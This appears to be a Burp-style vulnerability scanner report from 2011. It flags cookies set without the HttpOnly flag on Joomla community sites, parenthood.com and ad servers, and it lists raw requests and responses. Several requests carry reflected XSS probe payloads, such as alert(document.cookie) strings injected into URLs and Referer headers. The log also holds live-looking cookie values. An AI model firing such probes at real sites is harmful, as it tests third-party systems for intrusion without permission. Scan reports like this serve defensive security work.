GET /showcase/how-to-submit-a-site.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:52 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=be510ddcd2bf15612a74f73f10f6bdfe; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:53 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25112
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /showcase/sites-of-the-month.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:52 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=ff4fc6ec86026a313be3c261f8519100; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:52 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 36923
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /showcase/sites/advsearch.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:48 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=6cd3aab8711a0481615375ee027eb309; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:49 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 42915
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /showcase/sites/new.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:46 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=423eae15ca00d1e8cf624b675f042aa5; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:47 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 69155
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kickapps/service/getWidgetSwf.kickAction HTTP/1.1 Host: community.parenthood.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=CFC4B8F899936FBC1C797C6C4BB2DD5A; as=40337
Response
HTTP/1.1 302 Moved Temporarily Date: Tue, 25 Jan 2011 02:23:02 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: as=40337; Expires=Wed, 26-Jan-2011 02:23:02 GMT; Path=/ Location: http://kickapps.yuku.com/kickFlash/KickShell.swf?referralUrl=http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1&widgetHost=kickapps.yuku.com&buildVersion=1.0.589 Content-Length: 0 Cache-Control: max-age=7776000 Expires: Mon, 25 Apr 2011 02:23:02 GMT P3P: policyref="http://www.yuku.com/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa HISa OUR NOR IND PHY ONL UNI COM NAV INT DEM PRE LOC" Content-Type: text/plain; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /component/content/article/109-general-joomla-16x/202-joomla-16-ya-ha-llegado.html HTTP/1.1 Host: comunidadjoomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 14:54:57 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 8861b4e100db4cb878a33db82bc27555=00a1c10319baac94765f70e3f43fd867; path=/ Last-Modified: Mon, 24 Jan 2011 14:55:00 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 23755
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es-es" lang="es-es" dir= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /orbserv/hbpix?pixId=1598&pcv=45&ptid=100&tpv=00&tpu=4d1ec56b7612a62c&curl=http%3a%2f%2fwww.abbreviations.com%2fbs.aspx%3fst%3db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2fscript%253E7a00ceef170%26SE%3d3%26r%3d1 HTTP/1.1 Host: cspix.media6degrees.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: acs=015020a0e0f0g1lebnnsxzt1ibglxzt1wsurxzt1wsurxzt1wsur; ipinfo=2lf8gij0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; vstcnt=3lebnns020r013ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z1l024fhux122p000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru00000000004esx7120104tej; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; clid=2lebnns011706ch47d7o8wtv129yk00e0l01040210d; rdrlst=20r0s7dpletz4d0000000a0l01040210ao2ylebnns0000000e0l01040210dmmnlebnns0000000e0l01040210dxo1lebnns0000000e0l01040210dx1blebnns0000000e0l01040210deh5lf17qf000000060l0104021066bylemlne0000000c0l01040210cw3clebnns0000000e0l01040210d7gmlebnns0000000e0l01040210djv6lebnns0000000e0l01040210dj4ilew2e2000000080l010402108xthlebnns0000000e0l01040210dfullf8gij000000020l010402102jillebnns0000000e0l01040210dfuqlegh2b0000000d0l01040210db6mlf17qk000000050l010402105mz1lebnns0000000e0l01040210dp7vlebnns0000000e0l01040210dxvslebnns0000000e0l01040210dxuklebnns0000000e0l01040210dx1jlebnns0000000e0l01040210djk7lebnns0000000e0l01040210dyiplebnns0000000e0l01040210dxwflebnns0000000e0l01040210dyh0lebnns0000000e0l01040210de4vlebnns0000000e0l01040210dxwblebnns0000000e0l01040210d; sglst=2100s8dtletz4d0000000a0l01040210aa70lebnns0000000e0l01040210d61gletz4d0000000a0l01040210a5b0lf17qo000000040l010402104ag2leqh190hzha00b0l01040210b82gletz4d0000000a0l01040210a9zdlebnns0ibgl00e0l01040210d82hlebnns0000000e0l01040210d5q7letz4d0000000a0l01040210aa6slebnns0ibgl00e0l01040210dachlebnns0000000e0l01040210d7x9lebnns0000000e0l01040210d820lebnns0000000e0l01040210dab4lebnns0ibgl00e0l01040210d9szlebnns0ibgl00e0l01040210d8wklebnns0ibgl00e0l01040210d923lebnns0ibgl00e0l01040210dahllebnns0000000e0l01040210d0tllegh2b0xgk100d0l01040210dal1letz4d0000000a0l01040210a8lllebnns0000000e0l01040210dabulebnns0000000e0l01040210d8bgletz4d0000000a0l01040210a7y2lebnns0000000e0l01040210d5q8lebnns0000000e0l01040210d40slebnns0000000e0l01040210d45mlfdxmc000000010l010401101a97lebnns0000000e0l01040210dah4lebnns0000000e0l01040210d3s4letz4d0000000a0l01040210a40uletz4d0000000a0l01040210aacdlebnns0000000e0l01040210daanlebnns0000000e0l01040210d9atlebnns0000000e0l01040210d86zlebnns0000000e0l01040210dac3letz4d0000000a0l01040210a
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /afr.php?n=a8c465c4&zoneid=121958&target=_blank&cb=2116188280 HTTP/1.1 Host: d1.openx.org Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAID=3c7e6ab0aff972631f0dd2dc260083ec
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /afr.php?n=a2bb8a70&zoneid=121960&target=_blank&cb=416587824 HTTP/1.1 Host: d1.openx.org Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAID=3c7e6ab0aff972631f0dd2dc260083ec
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ajs.php?zoneid=17099&cb=49902098508&charset=UTF-8&loc=http%3A//www.netlingo.com/ HTTP/1.1 Host: d1.openx.org Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:05:01 GMT Server: Apache X-Powered-By: PHP/5.2.11 Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAID=3c7e6ab0aff972631f0dd2dc260083ec; expires=Wed, 25-Jan-2012 02:05:01 GMT; path=/ Content-Length: 4795 Connection: close Content-Type: text/javascript; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /lg.php?bannerid=254472&campaignid=98644&zoneid=17099&cb=a2563a7fcc&r_id=dda27c0e92ce176b4b94dc8a5861a24c&r_ts=lfk34d HTTP/1.1 Host: d1.openx.org Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAID=3c7e6ab0aff972631f0dd2dc260083ec
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:05:02 GMT Server: Apache X-Powered-By: PHP/5.2.11 Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAID=3c7e6ab0aff972631f0dd2dc260083ec; expires=Wed, 25-Jan-2012 02:05:02 GMT; path=/ Content-Length: 43 Connection: close Content-Type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /fimbid/?cachebuster=1295921111939Gck&cb=window[%22AIIcb%22]&sz=728x90&api=2&enc=1.1&est=b560d84a436c1f260f16c34efa66d8e3&l=52f2b867-a818-426d-a674-eefac27a73f6&ega=&neg=&pub=2094107610&pcat=29&ck=1&fl=1&d=http%3A%2F%2Fwww.netlingo.com%2F HTTP/1.1 Host: delb.opt.fimserve.com Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pfuid=ClIoJk0pDkd8SnPo7AmDAg==; UI=284ab5a022ca529df|f..9.f.f.f.f@@f@@f@@f@@f@@f@@f; LO=00JW6MJ6I1c0G05B0010OPU; ssrtb=0
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="http://www.fimserve.com/p3p.xml",CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR DELa SAMa UNRa OTRa IND UNI PUR NAV INT DEM CNT PRE" Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: DMEXP=4; Domain=.opt.fimserve.com; Expires=Wed, 09-Feb-2011 02:05:10 GMT; Path=/ Set-Cookie: UI="284ab5a022ca529df|79973..9.fh.wx.f.488@@gc@@dzhsrmtglm@@-4_9@@hlugozbvi gvxsmloltrvh rmx_@@xln@@nrw zgozmgrx"; Domain=.opt.fimserve.com; Expires=Fri, 22-Jan-2021 02:05:10 GMT; Path=/ Set-Cookie: RTB=|2937.l.931830; Domain=delb.opt.fimserve.com; Expires=Tue, 01-Feb-2011 02:05:10 GMT; Path=/ Content-Type: text/html;charset=ISO-8859-1 Content-Length: 414 Date: Tue, 25 Jan 2011 02:05:10 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: demo.joomla.org Proxy-Connection: keep-alive Referer: http://www.joomla.org/download.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=11952431.1295835652.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=11952431.1446326731.1295835652.1295835652.1295835652.1; __utmc=11952431; __utmb=11952431.8.10.1295835652
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:21:23 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 Set-Cookie: 36d6977f587030fff3662483c73299c9=s88m18ol2u80fe0c55k3k4m1q7; expires=Sat, 05-Mar-2011 02:21:24 GMT; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 02:21:24 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 49473
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: demo16.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:02:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.3.5 Set-Cookie: 0d4018dcd0961c57d0d37c72abf6777f=0jc68bdosfv0usmfgmt3kojis0; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 13991
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir= ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /administrator/index.php HTTP/1.1 Host: demo16.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:01:58 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.3.5 Set-Cookie: 3cd367566174a1f3a2f806869f69204d=tfi2vmv2kpu2qbp7plrssh0ha6; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Length: 4671 Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir=" ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: developer.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /security.html HTTP/1.1 Host: developer.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /security/news.html HTTP/1.1 Host: developer.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://b3.mookie1.com/2/DataXuB3/Dominos/11Q1/Opt/120/1[timestamp]@x90 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 01:35:45 GMT Server: Apache/2.0.52 (Red Hat) Set-Cookie: RMFM=011PhXovU106w2; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.mookie1.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 2584 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09499e2745525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2/B3DM/DLX/11596989115@x92? HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6; session=1295919344|1295919344; RMFM=011PhXovU106w2; NSC_en.ef.efm_qppm_iuuq=ffffffff09499e2745525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:29:17 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 1549 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5145525d5f4f58455e445a4a423660;path=/
<html> <head></head> <body> <script> function cookie_check(ifd,ife){ var s=ife.indexOf(ifd); if(s==-1)return ""; s+=ifd.length; var e=ife.indexOf(";",s); if(e==-1)e=ife.length; return ife.substrin ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2/B3DM/DLX/@x94 HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://mig.nexac.com/2/B3DM/DLX/1@x96 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6; RMFM=011PhXovU106w2; NSC_en.ef.efm_qppm_iuuq=ffffffff09499e2745525d5f4f58455e445a4a423660; session=1295919344|1295919348; dlx_7d=set
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:29:19 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 915 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e2145525d5f4f58455e445a4a423660;path=/
<script> var oas_d=new Date(); var oas_m=oas_d.getTime();
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|269F1A080515A595-600001A8000031B7[CE]; Expires=Sun, 24 Jan 2016 02:23:12 GMT; Domain=dominionenterprises.112.2o7.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/deparenthood/1/H.15.1/s24211537942755?[AQB]&ndh=1&t=24/0/2011%2020%3A23%3A13%201%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=Parenting%2C%20Pregnancy%2C%20Baby%20Names%2C%20Online%20Parenting%20Articles%20%26%20More%20-%20Parenthood.com&g=http%3A//www.parenthood.com/%3Fd1907%27-alert%28document.cookie%29-%27807a8eb3eff%3D1&r=http%3A//burp/show/57&cc=USD&ch=www.parenthood.com&events=event1&c1=Data%20Not%20Available&v1=Data%20Not%20Available&c2=Data%20Not%20Available&v2=Data%20Not%20Available&c3=Data%20Not%20Available&v3=Data%20Not%20Available&v4=First%20page%20view%20or%20cookies%20not%20supported&v5=Parenting%2C%20Pregnancy%2C%20Baby%20Names%2C%20Online%20Parenting%20Articles%20%26%20More%20-%20Parenthood.com&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%